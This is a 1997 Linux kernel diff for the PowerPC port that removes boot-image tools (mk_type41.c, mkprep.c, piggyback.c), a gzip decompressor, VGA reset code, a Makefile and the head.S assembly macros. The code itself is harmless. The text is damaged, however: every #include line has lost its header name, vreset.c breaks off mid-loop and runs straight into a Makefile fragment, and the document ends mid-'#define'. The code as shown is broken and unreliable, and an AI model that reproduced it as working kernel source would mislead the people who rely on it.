linux/arch/ppc/boot/mk_type41.c --- linux-2.1.29/arch/ppc/boot/mk_type41.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/mk_type41.c Wed Dec 31 19:00:00 1969 @@ -1,208 +0,0 @@ -/* - * This program will make a type 0x41 load image from an - * executable file. Note: assumes that the executable has - * already been "flattened" by 'mkboot'. - * - * usage: mk_type41 flat-file image - */ - -#include -#include -#ifdef linux -#include -#else -#include -#endif - -_LE(long val, unsigned char *le) -{ - le[0] = val; - le[1] = val >> 8; - le[2] = val >> 16; - le[3] = val >> 24; -} - -main(int argc, char *argv[]) -{ - int in_fd, out_fd, len, size; - struct stat info; - char buf[8192]; - struct hdr - { - unsigned long entry_point; - unsigned long image_length; - } hdr; - if (argc != 3) - { - fprintf(stderr, "usage: mk_type41 \n"); - exit(1); - } - if ((in_fd = open(argv[1], 0)) < 0) - { - fprintf(stderr, "Can't open input file: '%s': %s\n", argv[1], strerror(errno)); - exit(2); - } - if ((out_fd = creat(argv[2], 0666)) < 0) - { - fprintf(stderr, "Can't create output file: '%s': %s\n", argv[2], strerror(errno)); - exit(2); - } - if (fstat(in_fd, &info) < 0) - { - fprintf(stderr, "Can't get info on input file: %s\n", strerror(errno)); - exit(4); - } - write_prep_boot_partition(out_fd); - _LE(0x400, &hdr.entry_point); - _LE(info.st_size+0x400, &hdr.image_length); - lseek(out_fd, 0x200, 0); - if (write(out_fd, &hdr, sizeof(hdr)) != sizeof(hdr)) - { - fprintf(stderr, "Can't write output file: %s\n", strerror(errno)); - exit(5); - } - lseek(out_fd, 0x400, 0); - while ((len = read(in_fd, buf, sizeof(buf))) > 0) - { - if (write(out_fd, buf, len) != len) - { - fprintf(stderr, "Can't write output file: %s\n", strerror(errno)); - exit(5); - } - } - if (len < 0) - { - fprintf(stderr, "Can't read input file: %s\n", strerror(errno)); - exit(6); - } - close(in_fd); - close(out_fd); -} - -/* Adapted from IBM Naked Application Package (NAP) */ - -#define Align(value,boundary) \ - (((value) + (boundary) - 1) & ~((boundary) - 1)) - -#define HiByte(word) ((word_t)(word) >> 8) -#define LoByte(word) ((word_t)(word) & 0xFF) - -#define HiWord(dword) ((dword_t)(dword) >> 16) -#define LoWord(dword) ((dword_t)(dword) & 0xFFFF) - -/* - * Little-endian stuff - */ -#define LeWord(word) \ - (((word_t)(word) >> 8) | ((word_t)(word) << 8)) - -#define LeDword(dword) \ - (LeWord(LoWord(dword)) << 16) | LeWord(HiWord(dword)) - -#define PcDword(dword) \ - (LeWord(LoWord(dword)) << 16) | LeWord(HiWord(dword)) - - -typedef unsigned long dword_t; -typedef unsigned short word_t; -typedef unsigned char byte_t; -typedef byte_t block_t[512]; -typedef byte_t page_t[4096]; - -/* - * Partition table entry - * - from the PReP spec - */ -typedef struct partition_entry { - byte_t boot_indicator; - byte_t starting_head; - byte_t starting_sector; - byte_t starting_cylinder; - - byte_t system_indicator; - byte_t ending_head; - byte_t ending_sector; - byte_t ending_cylinder; - - dword_t beginning_sector; - dword_t number_of_sectors; -} partition_entry_t; - -#define BootActive 0x80 -#define SystemPrep 0x41 - - -/* - * Writes the "boot record", which contains the partition table, to the - * diskette, followed by the dummy PC boot block and load image descriptor - * block. It returns the number of bytes it has written to the load - * image. - * - * The boot record is the first block of the diskette and identifies the - * "PReP" partition. The "PReP" partition contains the "load image" starting - * at offset zero within the partition. The first block of the load image is - * a dummy PC boot block. The second block is the "load image descriptor" - * which contains the size of the load image and the entry point into the - * image. The actual boot image starts at offset 1024 bytes (third sector) - * in the partition. - */ -void -write_prep_boot_partition(int out_fd) -{ - block_t block; - partition_entry_t *pe = (partition_entry_t *)&block[0x1BE]; - dword_t *entry = (dword_t *)&block[0]; - dword_t *length = (dword_t *)&block[4]; - - bzero( &block, sizeof block ); - - /* - * Magic marker - */ - block[510] = 0x55; - block[511] = 0xAA; - - /* - * Build a "PReP" partition table entry in the boot record - * - "PReP" may only look at the system_indicator - */ - pe->boot_indicator = BootActive; - pe->system_indicator = SystemPrep; - - /* - * The first block of the diskette is used by this "boot record" which - * actually contains the partition table. (The first block of the - * partition contains the boot image, but I digress...) We'll set up - * one partition on the diskette and it shall contain the rest of the - * diskette. - */ - pe->starting_head = 0; /* zero-based */ - pe->starting_sector = 2; /* one-based */ - pe->starting_cylinder = 0; /* zero-based */ - - pe->ending_head = 1; /* assumes two heads */ - pe->ending_sector = 18; /* assumes 18 sectors/track */ - pe->ending_cylinder = 79; /* assumes 80 cylinders/diskette */ - - /* - * The "PReP" software ignores the above fields and just looks at - * the next two. - * - size of the diskette is (assumed to be) - * (2 tracks/cylinder)(18 sectors/tracks)(80 cylinders/diskette) - * - unlike the above sector numbers, the beginning sector is zero-based! - */ -#if 0 - pe->beginning_sector = LeDword(1); -#else - /* This has to be 0 on the PowerStack? */ - pe->beginning_sector = LeDword(0); -#endif - pe->number_of_sectors = LeDword(2*18*80-1); - - /* - * Write the partition table - */ - lseek( out_fd, 0, 0 ); - write( out_fd, block, sizeof block ); -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/mkprep.c linux/arch/ppc/boot/mkprep.c --- linux-2.1.29/arch/ppc/boot/mkprep.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/mkprep.c Wed Dec 31 19:00:00 1969 @@ -1,139 +0,0 @@ -/* - * This program will make a type 0x41 load image from an - * executable file. Note: assumes that the executable has - * already been "flattened" by 'mkboot'. - * - * usage: mk_type41 flat-file image - */ - -#include -#include -#ifdef linux -#include -#else -#include -#endif -#include /* use same as kernel -- Cort */ - -typedef unsigned long dword_t; -typedef unsigned short word_t; -typedef unsigned char byte_t; -typedef byte_t block_t[512]; -typedef byte_t page_t[4096]; - -_LE(long val, unsigned char *le) -{ - le[0] = val; - le[1] = val >> 8; - le[2] = val >> 16; - le[3] = val >> 24; -} - -/* - * Partition table entry - * - from the PReP spec - */ -typedef struct partition_entry { - byte_t boot_indicator; - byte_t starting_head; - byte_t starting_sector; - byte_t starting_cylinder; - - byte_t system_indicator; - byte_t ending_head; - byte_t ending_sector; - byte_t ending_cylinder; - - dword_t beginning_sector; - dword_t number_of_sectors; -} partition_entry_t; - -#define BootActive 0x80 -#define SystemPrep 0x41 - - -int main(int argc, char *argv[]) -{ - struct stat info; - char buf[8192]; - int in_fd, out_fd,len; - unsigned char block[512]; - partition_entry_t *pe = (partition_entry_t *)&block[0x1BE]; - dword_t *entry = (dword_t *)&block[0x50]; - dword_t *length = (dword_t *)&block[0x51]; - - if (argc != 3) - { - fprintf(stderr, "usage: mk_type41 \n"); - exit(1); - } - if ((in_fd = open(argv[1], 0)) < 0) - { - exit(2); - } - if ((out_fd = creat(argv[2], 0755)) < 0) - { - exit(2); - } - - bzero( &block, sizeof block ); - - - /* - * Magic marker - */ - block[510] = 0x55; - block[511] = 0xAA; - - pe->boot_indicator = BootActive; - pe->system_indicator = SystemPrep; - pe->starting_head = 0; /* zero-based */ - pe->starting_sector = 2; /* one-based */ - pe->starting_cylinder = 0; /* zero-based */ - - pe->ending_head = 1; /* assumes two heads */ - pe->ending_sector = 18; /* assumes 18 sectors/track */ - pe->ending_cylinder = 79; /* assumes 80 cylinders/diskette */ - -#if 0 -#if 0 - pe->beginning_sector = LeDword(1); -#else - /* This has to be 0 on the PowerStack? */ - pe->beginning_sector = LeDword(0); -#endif - pe->number_of_sectors = LeDword(2*18*80-1); -#endif - - if (fstat(in_fd, &info) < 0) - { - exit(4); - } - /* begin execution at 0x400 */ - _LE(0x400,(unsigned char *)entry); - _LE(info.st_size+0x400,length); - - lseek( out_fd, 0, 0 ); - /* write out 1st block */ - write( out_fd, block, sizeof block ); - - /* copy image */ -#if 1 - lseek(out_fd, 0x400, 0); - while ((len = read(in_fd, buf, sizeof(buf))) > 0) - { - if (write(out_fd, buf, len) != len) - { - exit(5); - } - } - if (len < 0) - { - exit(6); - } - close(in_fd); - close(out_fd); -#endif - return 0; -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/piggyback.c linux/arch/ppc/boot/piggyback.c --- linux-2.1.29/arch/ppc/boot/piggyback.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/piggyback.c Wed Dec 31 19:00:00 1969 @@ -1,64 +0,0 @@ -#include - -extern long ce_exec_config[]; - -main(int argc, char *argv[]) -{ - int i, cnt, pos, len; - unsigned int cksum, val; - unsigned char *lp; - unsigned char buf[8192]; - if (argc != 1) - { - fprintf(stderr, "usage: %s out-file\n", argv[0]); - exit(1); - } - fprintf(stdout, "#\n"); - fprintf(stdout, "# Miscellaneous data structures:\n"); - fprintf(stdout, "# WARNING - this file is automatically generated!\n"); - fprintf(stdout, "#\n"); - fprintf(stdout, "\n"); - fprintf(stdout, "\t.data\n"); - fprintf(stdout, "\t.globl input_data\n"); - fprintf(stdout, "input_data:\n"); - pos = 0; - cksum = 0; - while ((len = read(0, buf, sizeof(buf))) > 0) - { - cnt = 0; - lp = (unsigned char *)buf; - len = (len + 3) & ~3; /* Round up to longwords */ - for (i = 0; i < len; i += 4) - { - if (cnt == 0) - { - fprintf(stdout, "\t.long\t"); - } - fprintf(stdout, "0x%02X%02X%02X%02X", lp[0], lp[1], lp[2], lp[3]); - val = *(unsigned long *)lp; - cksum ^= val; - lp += 4; - if (++cnt == 4) - { - cnt = 0; - fprintf(stdout, " # %x \n", pos+i-12); - fflush(stdout); - } else - { - fprintf(stdout, ","); - } - } - if (cnt) - { - fprintf(stdout, "0\n"); - } - pos += len; - } - fprintf(stdout, "\t.globl input_len\n"); - fprintf(stdout, "input_len:\t.long\t0x%x\n", pos); - fflush(stdout); - fclose(stdout); - fprintf(stderr, "cksum = %x\n", cksum); - exit(0); -} - diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/unzip.c linux/arch/ppc/boot/unzip.c --- linux-2.1.29/arch/ppc/boot/unzip.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/unzip.c Wed Dec 31 19:00:00 1969 @@ -1,182 +0,0 @@ -/* unzip.c -- decompress files in gzip or pkzip format. - * Copyright (C) 1992-1993 Jean-loup Gailly - * - * Adapted for Linux booting by Hannu Savolainen 1993 - * - * This is free software; you can redistribute it and/or modify it under the - * terms of the GNU General Public License, see the file COPYING. - * - * The code in this file is derived from the file funzip.c written - * and put in the public domain by Mark Adler. - */ - -/* - This version can extract files in gzip or pkzip format. - For the latter, only the first entry is extracted, and it has to be - either deflated or stored. - */ - -#ifndef lint -static char rcsid[] = "$Id: unzip.c,v 0.9 1993/02/10 16:07:22 jloup Exp $"; -#endif - -#include "gzip.h" -#include "crypt.h" - -#include - -/* PKZIP header definitions */ -#define LOCSIG 0x04034b50L /* four-byte lead-in (lsb first) */ -#define LOCFLG 6 /* offset of bit flag */ -#define CRPFLG 1 /* bit for encrypted entry */ -#define EXTFLG 8 /* bit for extended local header */ -#define LOCHOW 8 /* offset of compression method */ -#define LOCTIM 10 /* file mod time (for decryption) */ -#define LOCCRC 14 /* offset of crc */ -#define LOCSIZ 18 /* offset of compressed size */ -#define LOCLEN 22 /* offset of uncompressed length */ -#define LOCFIL 26 /* offset of file name field length */ -#define LOCEXT 28 /* offset of extra field length */ -#define LOCHDR 30 /* size of local header, including sig */ -#define EXTHDR 16 /* size of extended local header, inc sig */ - - -/* Globals */ - -int decrypt; /* flag to turn on decryption */ -char *key; /* not used--needed to link crypt.c */ -int pkzip = 0; /* set for a pkzip file */ -int extended = 0; /* set if extended local header */ - -/* =========================================================================== - * Check zip file and advance inptr to the start of the compressed data. - * Get ofname from the local header if necessary. - */ -int check_zipfile(in) - int in; /* input file descriptors */ -{ - uch *h = inbuf + inptr; /* first local header */ - - /* ifd = in; */ - - /* Check validity of local header, and skip name and extra fields */ - inptr += LOCHDR + SH(h + LOCFIL) + SH(h + LOCEXT); - - if (inptr > insize || LG(h) != LOCSIG) { - error("input not a zip"); - } - method = h[LOCHOW]; - if (method != STORED && method != DEFLATED) { - error("first entry not deflated or stored--can't extract"); - } - - /* If entry encrypted, decrypt and validate encryption header */ - if ((decrypt = h[LOCFLG] & CRPFLG) != 0) { - error("encrypted file\n"); - exit_code = ERROR; - return -1; - } - - /* Save flags for unzip() */ - extended = (h[LOCFLG] & EXTFLG) != 0; - pkzip = 1; - - /* Get ofname and time stamp from local header (to be done) */ - return 0; -} - -/* =========================================================================== - * Unzip in to out. This routine works on both gzip and pkzip files. - * - * IN assertions: the buffer inbuf contains already the beginning of - * the compressed data, from offsets inptr to insize-1 included. - * The magic header has already been checked. The output buffer is cleared. - */ -void unzip(in, out) - int in, out; /* input and output file descriptors */ -{ - ulg orig_crc = 0; /* original crc */ - ulg orig_len = 0; /* original uncompressed length */ - ulg _crc, _len; - int n; - uch buf[EXTHDR]; /* extended local header */ - - /* ifd = in; - ofd = out; */ - - updcrc(NULL, 0); /* initialize crc */ - - if (pkzip && !extended) { /* crc and length at the end otherwise */ - orig_crc = LG(inbuf + LOCCRC); - orig_len = LG(inbuf + LOCLEN); - } - - /* Decompress */ - if (method == DEFLATED) { - - int res = inflate(); - - if (res == 3) { - error("out of memory"); - } else if (res != 0) { - error("invalid compressed format"); - } - - } else if (pkzip && method == STORED) { - - register ulg n = LG(inbuf + LOCLEN); - - if (n != LG(inbuf + LOCSIZ) - (decrypt ? RAND_HEAD_LEN : 0)) { - - error("length mismatch"); - } - while (n--) { - uch c = (uch)get_byte(); -#ifdef CRYPT - if (decrypt) zdecode(c); -#endif - if (!test) put_char(c); - } - } else { - error("internal error, invalid method"); - } - - /* Get the crc and original length */ - if (!pkzip) { - /* crc32 (see algorithm.doc) - * uncompressed input size modulo 2^32 - */ - for (n = 0; n < 8; n++) { - buf[n] = (uch)get_byte(); /* may cause an error if EOF */ - } - orig_crc = LG(buf); - orig_len = LG(buf+4); - - } else if (extended) { /* If extended header, check it */ - /* signature - 4bytes: 0x50 0x4b 0x07 0x08 - * CRC-32 value - * compressed size 4-bytes - * uncompressed size 4-bytes - */ - for (n = 0; n < EXTHDR; n++) { - buf[n] = (uch)get_byte(); /* may cause an error if EOF */ - } - orig_crc = LG(buf+4); - orig_len = LG(buf+12); - } - - /* Validate decompression */ - if (orig_crc != (_crc = updcrc(outbuf, 0))) { - extern char input_data[]; - error("crc error"); - } - if (orig_len != bytes_out) { - error("length error"); - } - - /* Check if there are more entries in a pkzip file */ - if (pkzip && inptr + 4 < insize && LG(inbuf+inptr) == LOCSIG) { - error("zip file has more than one entry"); - } - extended = pkzip = 0; /* for next file */ -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/vreset.c linux/arch/ppc/boot/vreset.c --- linux-2.1.29/arch/ppc/boot/vreset.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/vreset.c Wed Dec 31 19:00:00 1969 @@ -1,164 +0,0 @@ -/* - * vreset.c - * - * Initialize the VGA control registers to 80x25 text mode. - * - * Adapted from a program by: - * Steve Sellgren - * San Francisco Indigo Company - * sfindigo!sellgren@uunet.uu.net - */ - -unsigned char CRTC[24] = { - 0x5F, 0x4F, 0x50, 0x82, 0x55, 0x81, 0xBF, 0x1F, - 0x00, 0x4F, 0x0D, 0x0E, 0x00, 0x00, 0x00, 0x00, /*0x07, 0x80, */ - 0x9C, 0xAE, 0x8F, 0x28, 0x1F, 0x96, 0xB9, 0xA3}; -unsigned char SEQ[5] = {0x3, 0x0, 0x3, 0x0, 0x2}; -unsigned char GC[9] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0xE, 0x0, 0xFF}; -unsigned char AC[21] = { - 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x14, 0x07, - 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, - 0x0C, 0x00, 0x0F, 0x08, 0x00}; - -#include "iso_font.h" - -static const unsigned char color_LUT[] = - { - 0x00, 0x00, 0x00, /* 0 - black */ - 0x00, 0x00, 0x2A, /* 1 - blue */ - 0x00, 0x2A, 0x00, /* 2 - green */ - 0x00, 0x2A, 0x2A, /* 3 - cyan */ - 0x2A, 0x00, 0x00, /* 4 - red */ - 0x2A, 0x00, 0x2A, /* 5 - magenta */ - 0x2A, 0x2A, 0x00, /* 6 - brown */ - 0x2A, 0x2A, 0x2A, /* 7 - white */ - 0x00, 0x00, 0x15, /* 8 - gray */ - 0x00, 0x00, 0x3F, /* 9 - light blue */ - 0x00, 0x2A, 0x15, /* 10 - light green */ - 0x00, 0x2A, 0x3F, /* 11 - light cyan */ - 0x2A, 0x00, 0x15, /* 12 - light red */ - 0x2A, 0x00, 0x3F, /* 13 - light magenta */ - 0x2A, 0x2A, 0x15, /* 14 - yellow */ - 0x2A, 0x2A, 0x3F, /* 15 - bright white */ - }; - -static inline -outw(int port, unsigned short val) -{ - outb(port, val >> 8); - outb(port+1, val); -} - -vga_init(unsigned char *ISA_mem) -{ - int i, j; - int value; - unsigned char *font_page = (unsigned char *) &ISA_mem[0xA0000]; - - /* See if VGA already in TEXT mode - exit if so! */ - outb(0x3CE, 0x06); - if ((inb(0x3CF) & 0x01) == 0) return; - - /* From the S3 manual */ - outb(0x46E8, 0x10); /* Put into setup mode */ - outb(0x3C3, 0x10); - outb(0x102, 0x01); /* Enable registers */ - outb(0x46E8, 0x08); /* Enable video */ - outb(0x3C3, 0x08); - outb(0x4AE8, 0x00); - - outb(0x42E8, 0x80); /* Reset graphics engine? */ - - outb(0x3D4, 0x38); /* Unlock all registers */ - outb(0x3D5, 0x48); - outb(0x3D4, 0x39); - outb(0x3D5, 0xA5); - outb(0x3D4, 0x40); - outb(0x3D5, inb(0x3D5)|0x01); - outb(0x3D4, 0x33); - outb(0x3D5, inb(0x3D5)&~0x52); - outb(0x3D4, 0x35); - outb(0x3D5, inb(0x3D5)&~0x30); - outb(0x3D4, 0x3A); - outb(0x3D5, 0x00); - outb(0x3D4, 0x53); - outb(0x3D5, 0x00); - outb(0x3D4, 0x31); - outb(0x3D5, inb(0x3D5)&~0x4B); - outb(0x3D4, 0x58); - outb(0x3D5, 0); - - outb(0x3D4, 0x54); - outb(0x3D5, 0x38); - outb(0x3D4, 0x60); - outb(0x3D5, 0x07); - outb(0x3D4, 0x61); - outb(0x3D5, 0x80); - outb(0x3D4, 0x62); - outb(0x3D5, 0xA1); - outb(0x3D4, 0x69); /* High order bits for cursor address */ - outb(0x3D5, 0); - - outb(0x3D4, 0x32); - outb(0x3D5, inb(0x3D5)&~0x10); - - outb(0x3C2, 0x67); - - /* Initialize DAC */ - outb(0x3C6,0xFF); - inb(0x3C7); - outb(0x3C8,0x00); - inb(0x3C7); - for (i=0; i .depend - -fastdep: - -modules: - -dummy: - -# -# include a dependency file if one exists -# -ifeq (.depend,$(wildcard .depend)) -include .depend -endif diff -u --recursive --new-file linux-2.1.29/arch/ppc/kernel/head.S linux/arch/ppc/kernel/head.S --- linux-2.1.29/arch/ppc/kernel/head.S Sat May 10 18:16:36 1997 +++ linux/arch/ppc/kernel/head.S Wed Dec 31 19:00:00 1969 @@ -1,1495 +0,0 @@ -#include "ppc_asm.tmpl" -#include "ppc_defs.h" -#include -#include -#include - -#define NEWMM 1 -#define SYNC() \ - isync; \ - sync - -#define STATS -/* - * Increment a [64 bit] statistic counter - * Uses R2, R3 - */ -#define BUMP(ctr) \ - lis r2,ctr@h; \ - ori r2,r2,ctr@l; \ - lwz r3,4(r2); \ - addic r3,r3,1; \ - stw r3,4(r2); \ - lwz r3,0(r2); \ - addze r3,r3; \ - stw r3,0(r2) - -/* The same as 'BUMP' but running unmapped (TLB code) */ -#define BUMP_UNMAPPED(ctr) \ - mfspr r0,XER; \ - lis r2,ctr@h; \ - ori r2,r2,ctr@l; \ - lis r3,0xF000; \ - andc r2,r2,r3; \ - lwz r3,4(r2); \ - addic r3,r3,1; \ - stw r3,4(r2); \ - lwz r3,0(r2); \ - addze r3,r3; \ - mtspr XER,r0; \ - stw r3,0(r2) - -#define DO_RFI_TRACE_UNMAPPED(mark) -#define DO_RFI_TRACE_MAPPED(mark) - -#define DEFAULT_TRAP(offset) \ - li r13,0; \ - ori r13,r13,HID0_ICE; \ - mtspr HID0,r13; \ - lis r13,0xFFF00000>>16; \ - ori r13,r13,offset; \ - mtlr r13; \ - blr -#define TRACE_TRAP(offset) - -#define DATA_CACHE_OFF() \ - mfspr r2,HID0; \ - li r3,0; \ - ori r3,r3,HID0_DCE; \ - andc r2,r2,r3; \ - mtspr HID0,r2; - -#define DATA_CACHE_ON() \ - mfspr r2,HID0; \ - ori r2,r2,HID0_DCE; \ - mtspr HID0,r2; - -/* This instruction is not implemented on the PPC 603 */ -#define tlbia \ - li r4,64; \ - mtspr CTR,r4; \ - lis r4,0x9000; \ -0: tlbie r4; \ - addi r4,r4,0x1000; \ - bdnz 0b - -/* Validate kernel stack - check for overflow */ -/* all regs are considered scratch since the C function will stomp them */ -#define CHECK_STACK() \ - /*lis r3,current_set@ha; \ - lwz r3,current_set@l(r3); \ - bl _EXTERN(check_stack)*/ -#if 0 -#define _CHECK_STACK() \ - mtspr SPR0,r3; \ - mtspr SPR1,r4; /* use r3,4 as scratch */ \ - lis r2,current_set@ha; \ - lwz r2,current_set@l(r2); \ - lwz r2,KERNEL_STACK_PAGE(r2); \ - /* if kernel stack is sys_stack skip check */ \ - /*lis r3,sys_stack@h; \ - ori r3,r3,sys_stack@l; \ - cmpl 0,r1,r3;*/ \ - /* check for STACK_MAGIC on kernel stack page */ \ - lis r3, 0xdead; /* STACK_MAGIC */ \ - ori r3,r3,0xbeef; \ - lwz r4,0(r2); /* get *kernel_stack_page */ \ - cmpl 0,r4,r3; \ - bne 01f; \ - /* check that ksp is > kernel page */ \ - /*li r3,0x0FFF; \ - andc r2,r2,r3; \ - andc r3,r1,r3; \ - cmp 0,r3,r2; \ - beq 02f;*/ \ - /* check that ksp and kernel stack page are on same page */ \ - cmp 0,r1,r2; \ - bge 02f; \ -01: mr r6,r1; /* setup info for call to bad_stack() */ \ - mr r5,r2; \ - bl _EXTERN(bad_stack); \ -02: mfspr r4,SPR1; \ - mfspr r3,SPR0 -#endif - -/* save fp regs if fp is used */ -/* assumes that r1 contains ptr to regs of task and r2 is scratch - -- Cort */ -#define SAVE_FP_REGS() \ - /* check if fp has been used by checking msr_fp bit */ \ - lwz r2,_MSR(r1); \ - andi. r2,r2,MSR_FP; \ - bne 00f; \ - /* floating point has been used -- save fp regs */ \ - lis r2,current_set@h; \ - ori r2,r2,current_set@l; \ - addi r2,r2,TSS; \ - /*mr r2,r1;*/ \ - stfd fr0,TSS_FPR0(r2); \ - stfd fr1,TSS_FPR1(r2); \ - stfd fr2,TSS_FPR2(r2); \ - stfd fr3,TSS_FPR3(r2); \ - stfd fr4,TSS_FPR4(r2); \ - stfd fr5,TSS_FPR5(r2); \ - stfd fr6,TSS_FPR6(r2); \ - stfd fr7,TSS_FPR7(r2); \ - stfd fr8,TSS_FPR8(r2); \ - stfd fr9,TSS_FPR9(r2); \ - stfd fr10,TSS_FPR10(r2); \ - stfd fr11,TSS_FPR11(r2); \ - stfd fr12,TSS_FPR12(r2); \ - stfd fr13,TSS_FPR13(r2); \ - stfd fr14,TSS_FPR14(r2); \ - stfd fr15,TSS_FPR15(r2); \ - stfd fr16,TSS_FPR16(r2); \ - stfd fr17,TSS_FPR17(r2); \ - stfd fr18,TSS_FPR18(r2); \ - stfd fr19,TSS_FPR19(r2); \ - stfd fr20,TSS_FPR20(r2); \ - stfd fr21,TSS_FPR21(r2); \ - stfd fr22,TSS_FPR22(r2); \ - stfd fr23,TSS_FPR23(r2); \ - stfd fr24,TSS_FPR24(r2); \ - stfd fr25,TSS_FPR25(r2); \ - stfd fr26,TSS_FPR26(r2); \ - stfd fr27,TSS_FPR27(r2); \ - stfd fr28,TSS_FPR28(r2); \ - stfd fr29,TSS_FPR29(r2); \ - stfd fr30,TSS_FPR30(r2); \ - stfd fr31,TSS_FPR31(r2); \ -00: - - -/* restores fp regs if fp has been used -- always restores fpscr */ -/* assumes that r1 contains ptr to regs, r2 is scratch and srr1 holds - what will become the msr when this process executes -- Cort*/ -#define RESTORE_FP_REGS(mark) \ - /* check if restoring from _switch() */ \ - li r2, mark; \ - cmpi 0,r2,0x0f0f; \ - bne 00f; /* only need to save if called from _switch() with 0x0f0f */\ - /* check if fp has been used by checking msr_fp bit */ \ - /* srr1 contains msr */ \ - mfspr r2,SRR1; \ - andi. r2,r2,MSR_FP; \ - bne 00f; \ - /* floating point has been used -- restore fp regs */ \ - /* Hey, Rocky! Watch me pull fp regs from my stack! */ \ - lis r2,current_set@h; \ - ori r2,r2,current_set@l; \ - addi r2,r2,TSS; \ - /*mr r2,r1;*/\ - lfd fr0,TSS_FPR0(r2); \ - lfd fr1,TSS_FPR1(r2); \ - lfd fr2,TSS_FPR2(r2); \ - lfd fr3,TSS_FPR3(r2); \ - lfd fr4,TSS_FPR4(r2); \ - lfd fr5,TSS_FPR5(r2); \ - lfd fr6,TSS_FPR6(r2); \ - lfd fr7,TSS_FPR7(r2); \ - lfd fr8,TSS_FPR8(r2); \ - lfd fr9,TSS_FPR9(r2); \ - lfd fr10,TSS_FPR10(r2); \ - lfd fr11,TSS_FPR11(r2); \ - lfd fr12,TSS_FPR12(r2); \ - lfd fr13,TSS_FPR13(r2); \ - lfd fr14,TSS_FPR14(r2); \ - lfd fr15,TSS_FPR15(r2); \ - lfd fr16,TSS_FPR16(r2); \ - lfd fr17,TSS_FPR17(r2); \ - lfd fr18,TSS_FPR18(r2); \ - lfd fr19,TSS_FPR19(r2); \ - lfd fr20,TSS_FPR20(r2); \ - lfd fr21,TSS_FPR21(r2); \ - lfd fr22,TSS_FPR22(r2); \ - lfd fr23,TSS_FPR23(r2); \ - lfd fr24,TSS_FPR24(r2); \ - lfd fr25,TSS_FPR25(r2); \ - lfd fr26,TSS_FPR26(r2); \ - lfd fr27,TSS_FPR27(r2); \ - lfd fr28,TSS_FPR28(r2); \ - lfd fr29,TSS_FPR29(r2); \ - lfd fr30,TSS_FPR30(r2); \ - lfd fr31,TSS_FPR31(r2); \ -00: - -/* save all registers */ -#define SAVE_ALL_REGS(mark) \ - subi r1,r1,INT_FRAME_SIZE; /* Make room for frame */ \ - stmw r3,GPR3(r1); /* Save R3..R31 */ \ - stw r3,ORIG_GPR3(r1); \ - stw r0,GPR0(r1); \ - mfspr r2,SPR0; \ - stw r2,GPR1(r1); \ - mfspr r2,SPR1; \ - stw r2,GPR2(r1); \ - mfspr r2,SPR2; \ - stw r2,_NIP(r1); \ - mfspr r2,SPR3; \ - stw r2,_MSR(r1); \ - mfctr r2; \ - stw r2,_CTR(r1); \ - mflr r2; \ - stw r2,_LINK(r1); \ - mfcr r2; \ - stw r2,_CCR(r1); \ - mfspr r2,XER; \ - stw r2,_XER(r1); \ - mffs fr0; \ - stfd fr0,FPCSR(r1); \ - lis r2,_break_lwarx@h; \ - ori r2,r2,_break_lwarx@l; \ - stwcx. r2,0,r2; \ - li r2,mark; \ - stw r2,TRAP(r1); \ - lis r2,0xDEAD; \ - ori r2,r2,0xDEAD; \ - stw r2,MARKER(r1); \ - li r2,0; \ - stw r2,RESULT(r1) - - -/* save registers clobbered by a page fault handler */ -#define SAVE_PAGE_FAULT_REGS(offset) \ - mfspr r2,DAR; \ - stw r2,_DAR(r1); \ - mfspr r2,DSISR; \ - stw r2,_DSISR(r1); \ - mfspr r2,PVR; /* Check for 603/603e */ \ - srwi r2,r2,16; \ - cmpi 0,r2,3; /* 603 */ \ - beq 22f; \ - cmpi 0,r2,6; /* 603e */ \ - bne 24f; \ -22: mfspr r2,HASH1; /* Note: these registers exist only on 603 */ \ - stw r2,_HASH1(r1); \ - mfspr r2,HASH2; \ - stw r2,_HASH2(r1); \ - mfspr r2,IMISS; \ - stw r2,_IMISS(r1); \ - mfspr r2,DMISS; \ - stw r2,_DMISS(r1); \ - mfspr r2,ICMP; \ - stw r2,_ICMP(r1); \ - mfspr r2,DCMP; \ - stw r2,_DCMP(r1); \ -24: - -#define SAVE_INT_REGS(mark) \ - mtspr SPR0,r1; /* Save current stack pointer */ \ - mtspr SPR1,r2; /* Scratch */ \ - mfcr r2; \ - mtspr SPR2,r2; \ - mfspr r2,SRR1; /* Interrupt from user/system mode */ \ - andi. r2,r2,MSR_PR; \ - beq+ 10f; /* Jump if system - already have stack */ \ - mfspr r2,SPR2; /* Restore CCR */ \ - mtcrf 0xFF,r2; \ - mfspr r2,SRR0; /* Preserve interrupt registers */ \ - mtspr SPR2,r2; \ - mfspr r2,SRR1; \ - mtspr SPR3,r2; \ - lis r2,05f@h; \ - ori r2,r2,05f@l; \ - mtspr SRR0,r2; \ - mfmsr r2; \ - ori r2,r2,MSR_|MSR_DR|MSR_IR; \ - mtspr SRR1,r2; \ - rfi; \ -05: lis r2,current_set@ha; \ - lwz r2,current_set@l(r2); \ - mfspr r1,SPR2; \ - stw r1,TSS+LAST_PC(r2); \ - mfspr r1,SPR0; \ - stw r1,TSS+USER_STACK(r2); \ - lwz r1,TSS+KSP(r2); \ - subi r1,r1,INT_FRAME_SIZE; /* Make room for frame */ \ - stw r1,TSS+PT_REGS(r2); /* Save regs pointer for 'ptrace' */ \ - lwz r1,TSS+KSP(r2); \ - b 20f; \ -10: mfspr r2,SPR2; /* Restore CCR */ \ - mtcrf 0xFF,r2; \ - mfspr r2,SRR0; /* Preserve interrupt registers */ \ - mtspr SPR2,r2; \ - mfspr r2,SRR1; \ - mtspr SPR3,r2; \ - lis r2,20f@h; \ - ori r2,r2,20f@l; \ - mtspr SRR0,r2; \ - mfmsr r2; \ - ori r2,r2,MSR_|MSR_DR|MSR_IR; \ - mtspr SRR1,r2; \ - SYNC(); \ - rfi; \ -20: SAVE_ALL_REGS(mark); \ - CHECK_STACK() - -#define 